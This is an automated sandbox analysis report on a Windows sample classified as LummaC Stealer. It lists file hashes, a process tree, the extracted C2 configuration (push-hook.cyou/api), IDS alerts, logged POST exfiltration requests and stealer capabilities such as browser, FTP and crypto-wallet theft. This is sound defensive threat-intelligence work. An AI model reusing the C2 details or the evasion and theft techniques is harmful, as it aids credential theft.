Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1561844
MD5:	7dc51c5014010a56bd8a33d256831a30
SHA1:	a53650f246ad15a2091b55e59b0a054a9bbcfb8b
SHA256:	49118fb0d2560d592dcad173d9ecd9b50b0c2fe1bcd3f6e39f841e1a00470852
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 1272 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 7DC51C5014010A56BD8A33D256831A30)

conhost.exe (PID: 3744 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

file.exe (PID: 4348 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 7DC51C5014010A56BD8A33D256831A30)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": "https://push-hook.cyou/api", "Build Version": "FATE99--test"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: file.exe PID: 4348	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 4348	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 4348	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T13:28:26.947808+0100	2028371	3	Unknown Traffic	192.168.2.4	49730	172.67.161.207	443	TCP
2024-11-24T13:28:29.679577+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	172.67.161.207	443	TCP
2024-11-24T13:28:31.967163+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	172.67.161.207	443	TCP
2024-11-24T13:28:34.333964+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	172.67.161.207	443	TCP
2024-11-24T13:28:36.718837+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	172.67.161.207	443	TCP
2024-11-24T13:28:39.545095+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	172.67.161.207	443	TCP
2024-11-24T13:28:42.319305+0100	2028371	3	Unknown Traffic	192.168.2.4	49736	172.67.161.207	443	TCP
2024-11-24T13:28:48.318465+0100	2028371	3	Unknown Traffic	192.168.2.4	49741	172.67.161.207	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T13:28:28.391969+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49730	172.67.161.207	443	TCP
2024-11-24T13:28:30.377505+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	172.67.161.207	443	TCP
2024-11-24T13:28:49.042986+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49741	172.67.161.207	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T13:28:28.391969+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49730	172.67.161.207	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T13:28:30.377505+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49731	172.67.161.207	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T13:28:40.250640+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49735	172.67.161.207	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: file.exe.4348.2.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": "https://push-hook.cyou/api", "Build Version": "FATE99--test"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 97.6% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.161.207:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.161.207:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.161.207:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.161.207:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.161.207:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.161.207:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.161.207:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.161.207:443 -> 192.168.2.4:49741 version: TLS 1.2

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_000C17FB FindFirstFileExW,FindNextFileW,FindClose,FindClose,

0_2_000C17FB

Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx eax, byte ptr [esp+esi+000001E8h]	2_2_0040E0D8
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edx, eax	2_2_0043B8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edx, ecx	2_2_0043B8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+14h]	2_2_004098F0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-65h]	2_2_0040E35B
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov byte ptr [eax], bl	2_2_0040CF05
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 98D5A07Fh	2_2_0043C040
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], C18BC4BAh	2_2_0043C040
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 6DBC3610h	2_2_0043C040
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 98D5A07Fh	2_2_0043C040
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then push eax	2_2_0043B860
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov byte ptr [ebx], al	2_2_00420870
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, eax	2_2_0040C02B
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then push eax	2_2_0043F8D0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edi, eax	2_2_0043F8D0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 4C697C35h	2_2_0043BCE0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, ebp	2_2_00405C90
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, ebp	2_2_00405C90
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edx, ecx	2_2_0040BC9D
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov byte ptr [esi], cl	2_2_00428CB0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx edi, byte ptr [esp+edx+14h]	2_2_0040E970
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx edx, byte ptr [eax+ecx]	2_2_0040AD00
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [esi], cx	2_2_0040EA38
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx edx, byte ptr [edi]	2_2_00425E90
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-58FA0F6Ch]	2_2_00440F60
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx edx, byte ptr [eax+ecx+00008F12h]	2_2_004077D0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [ebp+ebx*4+00h], ax	2_2_004077D0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 172.67.161.207:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 172.67.161.207:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 172.67.161.207:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 172.67.161.207:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49735 -> 172.67.161.207:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49741 -> 172.67.161.207:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://push-hook.cyou/api

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 172.67.161.207:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 172.67.161.207:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 172.67.161.207:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 172.67.161.207:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49736 -> 172.67.161.207:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 172.67.161.207:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 172.67.161.207:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49741 -> 172.67.161.207:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: push-hook.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 46Host: push-hook.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=FZ22HPRA5QKFI1HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18144Host: push-hook.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=JXGX8S01User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8723Host: push-hook.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=MJD875SE1CZE6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20406Host: push-hook.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=714XHRNHY06QKGUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1216Host: push-hook.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=CH7IYAUXOQUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 586119Host: push-hook.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 81Host: push-hook.cyou

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: push-hook.cyou

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: push-hook.cyou

Source: file.exe, 00000002.00000003.1795461252.00000000052F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000002.00000003.1795461252.00000000052F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000002.00000003.1795461252.00000000052F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000002.00000003.1795461252.00000000052F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000002.00000003.1795461252.00000000052F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000002.00000003.1795461252.00000000052F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000002.00000003.1795461252.00000000052F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000002.00000003.1795461252.00000000052F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000002.00000003.1795461252.00000000052F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: file.exe, 00000002.00000003.1795461252.00000000052F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000002.00000003.1795461252.00000000052F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000002.00000003.1748738580.000000000530B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1748807484.0000000005309000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000002.00000003.1797089604.00000000052C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000002.00000003.1819472379.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1818772124.00000000052C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: file.exe, 00000002.00000003.1748738580.000000000530B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1748807484.0000000005309000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000002.00000003.1748738580.000000000530B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1748807484.0000000005309000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000002.00000003.1748738580.000000000530B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1748807484.0000000005309000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000002.00000003.1797089604.00000000052C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000002.00000003.1819472379.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1818772124.00000000052C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000002.00000003.1748738580.000000000530B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1748807484.0000000005309000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000002.00000003.1748738580.000000000530B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1748807484.0000000005309000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000002.00000003.1748738580.000000000530B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1748807484.0000000005309000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe, 00000002.00000003.1797089604.00000000052C9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1819472379.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1818772124.00000000052C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: file.exe, file.exe, 00000002.00000003.1845901808.0000000002C67000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000003.1845755273.0000000002C64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000003.1772973450.00000000052CA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1933464874.0000000002C54000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000003.1748540351.0000000002C67000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000003.1933464874.0000000002C43000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000003.1772916719.00000000052C6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1933303365.0000000002C07000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000002.2027006243.0000000002C54000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000003.1748488055.0000000002C66000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000003.1773036075.00000000052CB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000002.2027006243.0000000002C46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://push-hook.cyou/
Source: file.exe, 00000002.00000003.1933303365.0000000002C07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://push-hook.cyou/api
Source: file.exe, 00000002.00000003.1824145781.0000000002C7F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000003.1824111584.0000000002C77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://push-hook.cyou/m
Source: file.exe, 00000002.00000003.1796762781.00000000052D0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1795461252.00000000052D0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1795020611.00000000052D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://push-hook.cyou/ul
Source: file.exe, 00000002.00000003.1933303365.0000000002BE2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000002.2026924995.0000000002BE2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://push-hook.cyou:443/api
Source: file.exe, 00000002.00000003.1933303365.0000000002BE2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000002.2026924995.0000000002BE2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://push-hook.cyou:443/apiB
Source: file.exe, 00000002.00000003.1933303365.0000000002BE2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000002.2026924995.0000000002BE2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://push-hook.cyou:443/apiion.txtPK
Source: file.exe, 00000002.00000003.1749111878.0000000005365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: file.exe, 00000002.00000003.1796826342.00000000053EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000002.00000003.1796826342.00000000053EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000002.00000003.1773096667.0000000005317000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1749238502.0000000005317000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1772986739.0000000005317000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1749111878.0000000005363000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000002.00000003.1749238502.00000000052F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: file.exe, 00000002.00000003.1773096667.0000000005317000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1749238502.0000000005317000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1772986739.0000000005317000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1749111878.0000000005363000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000002.00000003.1749238502.00000000052F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: file.exe, 00000002.00000003.1819472379.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1818772124.00000000052C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: file.exe, 00000002.00000003.1748738580.000000000530B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1748807484.0000000005309000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000002.00000003.1819472379.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1818772124.00000000052C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: file.exe, 00000002.00000003.1748738580.000000000530B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1748807484.0000000005309000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000002.00000003.1796826342.00000000053EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000002.00000003.1796826342.00000000053EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000002.00000003.1796826342.00000000053EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000002.00000003.1796826342.00000000053EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000002.00000003.1796826342.00000000053EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 172.67.161.207:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.161.207:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.161.207:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.161.207:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.161.207:443 -> 192.168.2.4:49734 version: TLS 1.2
